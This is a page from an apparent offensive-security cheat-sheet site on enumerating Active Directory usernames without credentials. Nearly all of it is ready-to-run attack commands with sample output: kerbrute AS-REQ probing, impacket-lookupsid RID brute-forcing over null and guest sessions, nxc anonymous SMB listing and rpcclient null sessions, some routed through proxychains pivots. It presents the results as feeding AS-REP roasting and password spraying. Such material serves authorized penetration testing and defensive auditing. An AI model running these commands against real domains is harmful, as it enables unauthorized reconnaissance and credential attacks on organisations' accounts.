# Unauthenticated User Enumeration

> Identifies valid AD usernames without credentials using Kerberos pre-auth errors, LDAP null binds, and SMB probing to map attack surface.

- **URL:** https://hackindex.io/platforms/active-directory/reconnaissance/ad-unauthenticated-user-enumeration
- **Path:** Active Directory > Reconnaissance
- **Up:** [Reconnaissance](https://hackindex.io/platforms/active-directory/reconnaissance.md)
- **Published:** 2026-06-09
- **Updated:** 2026-08-11

Before any credentials exist, a valid username list enables AS-REP roasting against accounts with pre-authentication disabled, and password spraying once a common password is identified. Multiple protocols expose user lists without authentication: use whichever responds.

- Kerbrute: validate usernames via Kerberos AS-REQ error codes
- RID brute (impacket-lookupsid): enumerate accounts by iterating SID RIDs
- nxc anonymous SMB: list domain users via null session or guest account
- rpcclient null session: fallback for older or misconfigured DCs

## Kerbrute: Kerberos username validation

Kerbrute sends an AS-REQ for each candidate username and distinguishes valid accounts from invalid ones by the KDC error code. Accounts with pre-authentication disabled return the AS-REP hash directly without a password.

**Enumerate users via kerbrute**

```bash
# Validate usernames against the KDC
kerbrute userenum --dc $TARGET_IP -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt

# Through a pivot or tunnel
proxychains kerbrute userenum --dc $TARGET_IP -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt
# [+] VALID USERNAME: jsmith@corp.local
# [+] VALID USERNAME: svc-backup@corp.local
# [!] svc-mssql@corp.local - Valid user, no pre-auth required
```

Accounts flagged `no pre-auth required` are immediately roastable: feed them to `impacket-GetNPUsers` without waiting for a full user list. See [AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting).

## RID brute: impacket-lookupsid

SIDs in AD follow a predictable pattern: domain SID plus an incremented RID. lookupsid iterates RIDs and resolves each to an account name. Works via null session or guest account on most default configurations.

**Enumerate all accounts via RID brute**

```bash
# Null session
impacket-lookupsid anonymous@$TARGET_IP -no-pass

# Guest account: works when null session is blocked
impacket-lookupsid guest@$TARGET_IP -no-pass

# Through a pivot or tunnel
proxychains impacket-lookupsid anonymous@$TARGET_IP -no-pass

# Extract only user accounts
impacket-lookupsid anonymous@$TARGET_IP -no-pass | grep '(SidTypeUser)' | awk '{print $2}' | cut -d'\\' -f2 > users.txt
# 500: CORP\Administrator (SidTypeUser)
# 501: CORP\Guest (SidTypeUser)
# 1103: CORP\jsmith (SidTypeUser)
# 1104: CORP\svc-backup (SidTypeUser)
# 1105: CORP\DC01$ (SidTypeComputer)
```

## nxc: anonymous SMB user listing

nxc's `--users` flag enumerates domain users via null session or guest authentication. Output is cleaner than rpcclient for scripting.

**Enumerate users via nxc anonymous**

```bash
# Null session
nxc smb $TARGET_IP -u '' -p '' --users

# Guest account
nxc smb $TARGET_IP -u 'guest' -p '' --users

# Through a pivot or tunnel
proxychains nxc smb $TARGET_IP -u '' -p '' --users
# SMB  10.10.10.10  445  DC01  jsmith  Badpwdcount: 0
# SMB  10.10.10.10  445  DC01  svc-backup  Badpwdcount: 0
```

## rpcclient: null session fallback

rpcclient null session enumeration is less reliable on modern DCs but still works in older or misconfigured environments.

**Enumerate via rpcclient null session**

```bash
# List domain users
rpcclient -U "" -N $TARGET_IP -c "enumdomusers"

# List domain groups
rpcclient -U "" -N $TARGET_IP -c "enumdomgroups"

# Check password policy before spraying
rpcclient -U "" -N $TARGET_IP -c "getdompwinfo"
# user:[jsmith] rid:[0x44f]
# user:[svc-backup] rid:[0x450]
# user:[Administrator] rid:[0x1f4]
```

With a valid user list, check the password policy in [Password Policy and Spray Surface](https://hackindex.io/platforms/active-directory/vulnerability-discovery/ad-password-policy-and-spray-surface) before running any spray. Accounts identified by kerbrute as having pre-authentication disabled go directly to [AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting).

## References

- [Kerbrute: GitHub](https://github.com/ropnop/kerbrute) - Kerberos username enumeration via AS-REQ probing, no credentials required
- [Impacket: GitHub](https://github.com/fortra/impacket) - lookupsid for RID brute-forcing domain users via null session
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - anonymous SMB user enumeration with --users flag
- [SecLists: GitHub](https://github.com/danielmiessler/SecLists) - Usernames/xato-net wordlist for kerbrute user enumeration